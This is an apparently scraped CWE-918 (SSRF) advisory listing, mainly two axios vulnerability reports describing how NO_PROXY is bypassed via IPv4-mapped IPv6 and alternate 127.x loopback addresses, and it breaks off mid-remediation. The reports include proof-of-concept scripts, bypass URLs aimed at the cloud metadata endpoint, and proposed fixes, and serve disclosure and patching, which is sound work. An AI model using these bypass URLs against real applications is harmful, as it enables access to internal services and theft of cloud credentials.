CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4673 vulnerabilities reference this CWE, most recent first.
GHSA-PJWM-PJ3P-43MV
Vulnerability from github – Published: 2026-05-29 15:59 – Updated: 2026-07-20 12:33Summary
shouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NO_PROXY lists an IPv4 address such as 127.0.0.1 or 169.254.169.254, a request URL using the IPv4-mapped IPv6 form (::ffff:7f00:1, ::ffff:a9fe:a9fe) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.
Details
lib/helpers/shouldBypassProxy.js (v1.15.0):
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix
return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));
The WHATWG URL parser canonicalises http://[::ffff:127.0.0.1]/ to hostname [::ffff:7f00:1]. After bracket-stripping: ::ffff:7f00:1. This string does not match 127.0.0.1 in NO_PROXY and is not in LOOPBACK_ADDRESSES, so shouldBypassProxy returns false and the proxy is used. proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.
PoC
// NO_PROXY=127.0.0.1,localhost,::1 HTTP_PROXY=http://attacker:8080
import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';
// All three should return true (bypass proxy). Only the first two do.
console.log(shouldBypassProxy('http://127.0.0.1/')); // true [OK]
console.log(shouldBypassProxy('http://[::1]/')); // true [OK]
console.log(shouldBypassProxy('http://[::ffff:127.0.0.1]/')); // false <- bypass
console.log(shouldBypassProxy('http://[::ffff:7f00:1]/')); // false <- bypass
Node.js routes ::ffff:7f00:1 to 127.0.0.1:
// net.connect({ host: '::ffff:7f00:1', port: 80 }) reaches a service
// bound to 127.0.0.1:80 — confirmed on Node.js v24, Linux and macOS.
Cloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NO_PROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it.
Fix
Canonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison:
```javascript
const ipv4MappedDotted = /^::ffff:(\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3})$/i;
const ipv4MappedHex = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i;
function hexToIPv4(a, b) {
const hi = parseInt(a, 16), lo = parseInt(b, 16);
return ${hi >> 8}.${hi & 0xff}.${lo >> 8}.${lo & 0xff};
}
const normalizeNoProxyHost = (hostname) => {
if (!hostname) return hostname;
if (hostname[0] === '[' && hostname.at(-1) === ']')
hostname = hostname.slice(1, -1);
hostname = hostname.replace(/.+$/, '').toLowerCase();
let m;
if ((m = hostname.match(ipv4MappedDotted))) return m[1];
if ((m = hostname.match(ipv4MappedHex))) return hexToIPv4(m[1], m[2]);
return hostname;
};
```
Impact
Any application that sets NO_PROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.15.0"
},
{
"fixed": "1.16.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.1"
},
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.32.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44492"
],
"database_specific": {
"cwe_ids": [
"CWE-289",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T15:59:30Z",
"nvd_published_at": "2026-06-11T17:16:33Z",
"severity": "HIGH"
},
"details": "### Summary\nshouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NO_PROXY lists an IPv4 address such as `127.0.0.1` or `169.254.169.254`, a request URL using the IPv4-mapped IPv6 form (`::ffff:7f00:1`, `::ffff:a9fe:a9fe`) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.\n\n### Details\nlib/helpers/shouldBypassProxy.js (v1.15.0): \n\n```javascript \n const LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]); \n const isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host); \n \n // normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix \n return hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost)); \n```\n \nThe WHATWG URL parser canonicalises `http://[::ffff:127.0.0.1]/` to hostname `[::ffff:7f00:1]`. After bracket-stripping: `::ffff:7f00:1`. This string does not match 127.0.0.1 in NO_PROXY and is not in LOOPBACK_ADDRESSES, so shouldBypassProxy returns false and the proxy is used. proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.\n\n### PoC\n```javascript\n\n// NO_PROXY=127.0.0.1,localhost,::1 HTTP_PROXY=http://attacker:8080\nimport shouldBypassProxy from \u0027axios/lib/helpers/shouldBypassProxy.js\u0027; \n \n// All three should return true (bypass proxy). Only the first two do. \nconsole.log(shouldBypassProxy(\u0027http://127.0.0.1/\u0027)); // true [OK] \nconsole.log(shouldBypassProxy(\u0027http://[::1]/\u0027)); // true [OK] \nconsole.log(shouldBypassProxy(\u0027http://[::ffff:127.0.0.1]/\u0027)); // false \u003c- bypass \nconsole.log(shouldBypassProxy(\u0027http://[::ffff:7f00:1]/\u0027)); // false \u003c- bypass\n\n``` \n \nNode.js routes ::ffff:7f00:1 to 127.0.0.1: \n\n``` \n// net.connect({ host: \u0027::ffff:7f00:1\u0027, port: 80 }) reaches a service \n// bound to 127.0.0.1:80 \u2014 confirmed on Node.js v24, Linux and macOS. \n``` \nCloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NO_PROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it. \n \n#### Fix \n \nCanonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison: \n \n ```javascript \nconst ipv4MappedDotted = /^::ffff:(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})$/i; \nconst ipv4MappedHex = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i; \n \nfunction hexToIPv4(a, b) { \n const hi = parseInt(a, 16), lo = parseInt(b, 16); \n return `${hi \u003e\u003e 8}.${hi \u0026 0xff}.${lo \u003e\u003e 8}.${lo \u0026 0xff}`; \n} \n \nconst normalizeNoProxyHost = (hostname) =\u003e { \n if (!hostname) return hostname; \n if (hostname[0] === \u0027[\u0027 \u0026\u0026 hostname.at(-1) === \u0027]\u0027)\n hostname = hostname.slice(1, -1); \n hostname = hostname.replace(/\\.+$/, \u0027\u0027).toLowerCase();\n \n let m; \n if ((m = hostname.match(ipv4MappedDotted))) return m[1]; \n if ((m = hostname.match(ipv4MappedHex))) return hexToIPv4(m[1], m[2]); \n return hostname; \n};\n\n```\n\n### Impact\nAny application that sets NO_PROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.",
"id": "GHSA-pjwm-pj3p-43mv",
"modified": "2026-07-20T12:33:05Z",
"published": "2026-05-29T15:59:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44492"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36611"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36754"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36820"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36882"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36883"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:40119"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:40138"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:40262"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:41031"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:41055"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:41064"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:41066"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-44492"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487938"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44492.json"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:27044"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:27063"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:28964"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:29082"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:29197"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:30650"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:30651"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33005"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33155"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33160"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33163"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33173"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33183"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33574"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34766"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36108"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "axios\u0027s shouldBypassProxy does not recognize IPv4-mapped IPv6 addresses, allowing NO_PROXY bypass (incomplete fix for CVE-2025-62718)"
}
GHSA-PMGR-28PH-JHMM
Vulnerability from github – Published: 2025-04-18 00:30 – Updated: 2025-04-21 18:32An issue in personal-management-system Personal Management System 1.4.65 allows a remote attacker to obtain sensitive information via the create Notes function.
{
"affected": [],
"aliases": [
"CVE-2025-29456"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-17T22:15:15Z",
"severity": "MODERATE"
},
"details": "An issue in personal-management-system Personal Management System 1.4.65 allows a remote attacker to obtain sensitive information via the create Notes function.",
"id": "GHSA-pmgr-28ph-jhmm",
"modified": "2025-04-21T18:32:08Z",
"published": "2025-04-18T00:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29456"
},
{
"type": "WEB",
"url": "https://www.yuque.com/morysummer/vx41bz/ckogwt5qwnkd821k"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PMWG-CVHR-8VH7
Vulnerability from github – Published: 2026-05-05 00:20 – Updated: 2026-05-05 00:201. Executive Summary
This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the NO_PROXY hostname resolution logic in the Axios HTTP library.
Background — The Original Vulnerability
The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against NO_PROXY rules. Specifically, a request to http://localhost./ (with a trailing dot) or http://[::1]/ (with IPv6 bracket notation) would bypass NO_PROXY matching entirely and be forwarded to the configured HTTP proxy — even when NO_PROXY=localhost,127.0.0.1,::1 was explicitly set by the developer to protect loopback services.
The Axios maintainers addressed this in version 1.15.0 by introducing a normalizeNoProxyHost() function in lib/helpers/shouldBypassProxy.js, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.
The Incomplete Patch — This Finding While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), the fix is architecturally incomplete.
The patch introduced a hardcoded set of recognized loopback addresses:
// lib/helpers/shouldBypassProxy.js — Line 1
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
However, RFC 1122 §3.2.1.3 explicitly defines the entire 127.0.0.0/8 subnet as the IPv4 loopback address block not just the single address 127.0.0.1. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range 127.0.0.2 through 127.255.255.254 is a valid, functional loopback address that routes to the local machine.
As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the 127.0.0.0/8 range (e.g., 127.0.0.2, 127.0.0.100, 127.1.2.3) to completely bypass the NO_PROXY protection even in the fully patched Axios 1.15.0 release.
Verification This bypass has been independently verified on:
- Axios version: 1.15.0 (latest patched release)
- Node.js version: v22.16.0
- OS: Kali Linux (rolling)
The Proof-of-Concept demonstrates that while localhost, localhost., and [::1] are correctly blocked by the patched version, requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 are transparently forwarded to the attacker-controlled proxy server, confirming that the patch does not cover the full RFC-defined loopback address space.
2. Deep-Dive: Technical Root Cause Analysis 2.1 Vulnerable File & Location
| Field | Detail |
|---|---|
| File | lib/helpers/shouldBypassProxy.js |
| Primary Flaw | isLoopback() — Line 1–3 |
| Supporting Function | shouldBypassProxy() — Line 59–110 |
| Axios Version | 1.15.0 (Latest Patched Release) |
2.2 How Axios Routes HTTP Requests The Call Chain
When Axios dispatches any HTTP request, lib/adapters/http.js calls setProxy(), which invokes shouldBypassProxy() to decide whether to honour a configured proxy:
// lib/adapters/http.js — Lines 191–199
function setProxy(options, configProxy, location) {
let proxy = configProxy;
if (!proxy && proxy !== false) {
const proxyUrl = getProxyForUrl(location); // Step 1: Read proxy env var
if (proxyUrl) {
if (!shouldBypassProxy(location)) { // Step 2: Check NO_PROXY
proxy = new URL(proxyUrl); // Step 3: Assign proxy
}
}
}
}
shouldBypassProxy() is the single gatekeeper for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.
2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)
Before Axios 1.15.0, hostnames were compared against NO_PROXY using a raw literal string match with no normalization:
Request URL → http://localhost./secret
NO_PROXY → "localhost,127.0.0.1,::1"
Comparison:
"localhost." === "localhost" → FALSE → Proxy used ← BYPASS
"[::1]" === "::1" → FALSE → Proxy used ← BYPASS
Both localhost. (FQDN trailing dot, RFC 1034 §3.1) and [::1] (bracketed IPv6 literal, RFC 3986 §3.2.2) are canonical representations of loopback addresses, but Axios treated them as unknown hosts.
2.4 What the Patch Fixed (Axios 1.15.0)
The patch introduced three changes inside lib/helpers/shouldBypassProxy.js:
Fix A normalizeNoProxyHost() (Lines 47–57)
Strips alternate representations before comparison:
const normalizeNoProxyHost = (hostname) => {
if (!hostname) return hostname;
// Remove IPv6 brackets: "[::1]" → "::1"
if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') {
hostname = hostname.slice(1, -1);
}
// Strip trailing FQDN dot: "localhost." → "localhost"
return hostname.replace(/\.+$/, '');
};
Fix B Cross-Loopback Equivalence (Lines 1–3 & 108)
Allows 127.0.0.1 and localhost to match each other interchangeably:
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// Line 108 — Final match condition:
return hostname === entryHost
|| (isLoopback(hostname) && isLoopback(entryHost));
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// If both sides are "loopback" → treat as match
Fix C Normalization Applied on Both Sides (Lines 81 & 90)
// Request hostname normalized:
const hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());
// Each NO_PROXY entry normalized:
entryHost = normalizeNoProxyHost(entryHost);
2.5 The Incomplete Patch Exact Root Cause The fundamental flaw resides in Line 1:
// lib/helpers/shouldBypassProxy.js — Line 1 ← ROOT CAUSE
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
// ^^^^^^^^^^^
// Only ONE IPv4 loopback address is recognized.
// The entire 127.0.0.0/8 subnet is unaccounted for.
// Line 3 — Lookup against this incomplete set:
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// ^^^^^^^^^
// Returns FALSE for any 127.x.x.x ≠ 127.0.0.1
*RFC 1122 §3.2.1.3 is unambiguous:
"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network."
This means all addresses from 127.0.0.1 through 127.255.255.254 are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire /8 block is routed to the lo interface by default. The patch recognises only 127.0.0.1, leaving 16,777,213 valid loopback addresses unprotected.
2.6 Step-by-Step Bypass Execution Trace Environment:
NO_PROXY = "localhost,127.0.0.1,::1"
HTTP_PROXY = "http://attacker-proxy:5300"
Target URL = "http://127.0.0.2:9191/internal-api"
Annotated execution of shouldBypassProxy("http://127.0.0.2:9191/internal-api"):
// Step 1 — Parse the request URL
parsed = new URL("http://127.0.0.2:9191/internal-api")
hostname = "127.0.0.2" // parsed.hostname
// Step 2 — Read NO_PROXY environment variable
noProxy = "localhost,127.0.0.1,::1" // lowercased
// Step 3 — Normalize the request hostname
hostname = normalizeNoProxyHost("127.0.0.2")
// No brackets → skip
// No trailing dot → skip
// Result: "127.0.0.2" (unchanged)
// Step 4 — Iterate over NO_PROXY entries
// Entry → "localhost"
entryHost = "localhost"
"127.0.0.2" === "localhost" → false
isLoopback("127.0.0.2") → false ← Set.has() returns false
BYPASS starts here
// Entry → "127.0.0.1"
entryHost = "127.0.0.1"
"127.0.0.2" === "127.0.0.1" → false
isLoopback("127.0.0.2") && isLoopback("127.0.0.1")
→ LOOPBACK_ADDRESSES.has("127.0.0.2") → false ← Same failure
→ false
// Entry → "::1"
entryHost = "::1"
"127.0.0.2" === "::1" → false
isLoopback("127.0.0.2") && isLoopback("::1")
→ LOOPBACK_ADDRESSES.has("127.0.0.2") → false ← Same failure
→ false
// Step 5 — Final return
shouldBypassProxy() → false
// Axios proceeds to route the request through the configured proxy.
// The attacker's proxy server receives the full request including headers
// and any response from the internal service.
2.7 Why the Patch Design Is Flawed The patch addresses the symptom (two specific alternate representations) rather than the root cause (an incomplete definition of what constitutes a loopback address).
| Aspect | Original Bug | This Finding |
|---|---|---|
| What was wrong | No normalization before comparison | Incomplete loopback address set |
| Fix applied | Added normalizeNoProxyHost() | None set remains hardcoded |
| RFC compliance | Violated RFC 1034 & RFC 3986 | Violates RFC 1122 §3.2.1.3 |
| Bypass method | Alternate string representation | Alternate valid loopback address |
| Impact | NO_PROXY bypass → SSRF | NO_PROXY bypass → SSRF (identical) |
**2.8 Total Exposed Address Space**
Protected by patch: 127.0.0.1 (1 address)
Unprotected loopback: 127.0.0.2
through
127.255.255.254 (16,777,213 addresses)
Real-world services that commonly bind to non-standard loopback addresses include:
- Internal microservices and admin dashboards using dedicated loopback IPs
- Development environments with multiple isolated service instances
- Docker and container bridge network configurations
- Test infrastructure allocating sequential loopback IPs across services
3. Comprehensive Attack Vector & Proof of Concept
3.1 Reproduction Steps
Step 1 — Create a fresh project directory
mkdir axios-bypass-test && cd axios-bypass-test
Step 2 — Initialize the project with the patched Axios version
Create package.json:
{
"type": "module",
"dependencies": {
"axios": "1.15.0"
}
}
Install dependencies:
npm install
Verify the installed version:
npm list axios
# Expected output: axios@1.15.0
Step 3 — Create the PoC file (poc.js)
import http from 'http';
import axios from 'axios';
// ── Simulated attacker-controlled proxy server ────────────────────────────────
const PROXY_PORT = 5300;
http.createServer((req, res) => {
console.log('\n[!] PROXY HIT — Attacker proxy received request!');
console.log(` Method : ${req.method}`);
console.log(` URL : ${req.url}`);
console.log(` Host : ${req.headers.host}`);
res.writeHead(200);
res.end('proxied');
}).listen(PROXY_PORT);
// ── Simulated developer security configuration ────────────────────────────────
// Developer believes all loopback traffic is protected by NO_PROXY.
process.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;
process.env.NO_PROXY = 'localhost,127.0.0.1,::1';
// ── Test helper ───────────────────────────────────────────────────────────────
async function test(url) {
console.log(`\n[*] Testing: ${url}`);
try {
const res = await axios.get(url, { timeout: 2000 });
if (res.data === 'proxied') {
console.log(' Result → [PROXIED] ← BYPASS CONFIRMED');
} else {
console.log(' Result → [DIRECT] ← Safe, no proxy used');
}
} catch (err) {
if (err.code === 'ECONNREFUSED') {
console.log(' Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)');
}
}
}
// ── Test execution ────────────────────────────────────────────────────────────
setTimeout(async () => {
// Section A: Cases fixed by the existing patch — expected to go DIRECT
console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===');
await test('http://localhost:9191/secret');
await test('http://localhost.:9191/secret');
await test('http://[::1]:9191/secret');
// Section B: Bypass cases — expected to go DIRECT, but actually go through proxy
console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===');
await test('http://127.0.0.2:9191/secret');
await test('http://127.0.0.100:9191/secret');
await test('http://127.1.2.3:9191/secret');
process.exit(0);
}, 500);
Step 4 — Execute the PoC
node poc.js
3.2 Observed Output The following output was captured during testing on Kali Linux with Axios 1.15.0:
=== PATCHED CASES (Expected: All requests bypass the proxy) ===
[*] Testing: http://localhost:9191/secret
Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)
[*] Testing: http://localhost.:9191/secret
Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)
[*] Testing: http://[::1]:9191/secret
Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)
=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===
[*] Testing: http://127.0.0.2:9191/secret
[!] PROXY HIT — Attacker proxy received request!
Method : GET
URL : http://127.0.0.2:9191/secret
Host : 127.0.0.2:9191
Result → [PROXIED] ← BYPASS CONFIRMED
[*] Testing: http://127.0.0.100:9191/secret
[!] PROXY HIT — Attacker proxy received request!
Method : GET
URL : http://127.0.0.100:9191/secret
Host : 127.0.0.100:9191
Result → [PROXIED] ← BYPASS CONFIRMED
[*] Testing: http://127.1.2.3:9191/secret
[!] PROXY HIT — Attacker proxy received request!
Method : GET
URL : http://127.1.2.3:9191/secret
Host : 127.1.2.3:9191
Result → [PROXIED] ← BYPASS CONFIRMED
3.3 Analysis of Results The output conclusively demonstrates the following:
Patched cases behave correctly: Requests to localhost, localhost. (trailing dot), and [::1] (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.
Bypass cases confirm the incomplete patch: Requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 all of which are valid loopback addresses within the 127.0.0.0/8 subnet as defined by RFC 1122 §3.2.1.3 are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and Host header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.
This confirms that the NO_PROXY protection configured by the developer (localhost,127.0.0.1,::1) fails silently for the entire 127.0.0.0/8 address range beyond 127.0.0.1, providing a reproducible and reliable bypass of the security control introduced by the patch.
4. Impact Assessment
This vulnerability is a security control bypass specifically an incomplete patch that allows an attacker to circumvent the NO_PROXY protection mechanism in Axios by using any loopback addresses within the 127.0.0.0/8 subnet other than 127.0.0.1. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.
4.1 Who Is Impacted?
Primary Target — Node.js Backend Applications Any Node.js application that meets all three of the following conditions is vulnerable:
Condition 1: Uses Axios 1.15.0 (latest patched) for HTTP requests
Condition 2: Has HTTP_PROXY or HTTPS_PROXY set in its environment
(common in corporate networks, cloud deployments,
containerised environments, and CI/CD pipelines)
Condition 3: Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)
to protect loopback or internal services from proxy routing
Affected Deployment Environments | Environment | Risk Level | | ------------- | ------------- | | Cloud-hosted applications (AWS, GCP, Azure) | Critical| | Containerised microservices (Docker, Kubernetes) | Critical| | Corporate networks with mandatory proxy | High| | CI/CD pipelines with proxy environment variables | High| | On-premise servers with internal proxy | High|
Scale of Exposure Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over 500 million weekly downloads on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.
4.3 Impact Details
Impact 1 Silent Interception of Internal Service Traffic
When an application makes a request to an internal loopback service using a non-standard loopback address (e.g., http://127.0.0.2/admin), Axios silently routes the request through the configured proxy instead of connecting directly.
Developer expects: Application → 127.0.0.2:8080 (direct)
Actual behaviour: Application → Attacker Proxy → 127.0.0.2:8080
The proxy receives:
- Full request URL
- HTTP method
- All request headers (including Authorization, Cookie, API keys)
- Request body (for POST/PUT requests)
- Full response from the internal service
The developer receives no error or warning. From the application's perspective, the request succeeds normally.
Impact 2 — SSRF Mitigation Bypass
Many applications implement SSRF protections by configuring NO_PROXY to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond 127.0.0.1.
SSRF Protection (as configured by developer):
NO_PROXY = localhost,127.0.0.1,::1
What developer believes is protected:
All loopback/internal addresses
What is actually protected:
Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)
What remains exposed:
127.0.0.2 through 127.255.255.254 (16,777,213 addresses)
An attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.
Impact 3 — Cloud Metadata Service Exposure In cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.
While the AWS IMDSv2 service is reachable at 169.254.169.254 (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the 127.0.0.0/8 range. An attacker reaching any of these services through the bypass could:
- Retrieve temporary IAM credentials
- Access environment variables containing secrets
- Enumerate internal service configurations
- Pivot to other internal services via the compromised credentials
Impact 4 — Confidential Data Exfiltration
Any internal service binding to a 127.x.x.x address other than 127.0.0.1 is fully exposed. This includes:
| Internal Service Type | Exposed Data |
|---|---|
| Admin panels / dashboards | User data, configuration, logs |
| Internal APIs | Business logic, database contents |
| Secret managers / vaults | API keys, tokens, certificates |
| Health check endpoints | Infrastructure topology |
| Development services | Source code, environment variables |
Impact 5 — No Indication of Compromise A particularly dangerous characteristic of this vulnerability is that it is completely silent neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring.
4.4 Comparison with Original Vulnerability
| Internal Service Type | Exposed Data | Exposed Data |
|---|---|---|
| Attack method | Use localhost. or [::1] | Use any 127.x.x.x ≠ 127.0.0.1 |
| Patch status | Fixed in 1.15.0 | Not fixed in 1.15.0 |
| CVSS score | 9.3 Critical | 9.9 Critical or (equivalent) |
| Attacker effort | Trivial | Trivial |
| Detection by developer | None | None |
| Impact | SSRF / proxy bypass | SSRF / proxy bypass (identical) |
The severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.
5. Technical Remediation & Proposed Fix
5.1 Vulnerable Code Block
The vulnerability resides in lib/helpers/shouldBypassProxy.js at lines 1–3. The following is the exact code extracted from Axios 1.15.0:
// lib/helpers/shouldBypassProxy.js — Axios 1.15.0
// Lines 1–3 (VULNERABLE)
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
This hardcoded Set is subsequently used at line 108 during the final NO_PROXY match evaluation:
// lib/helpers/shouldBypassProxy.js — Line 108 (VULNERABLE USAGE)
return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
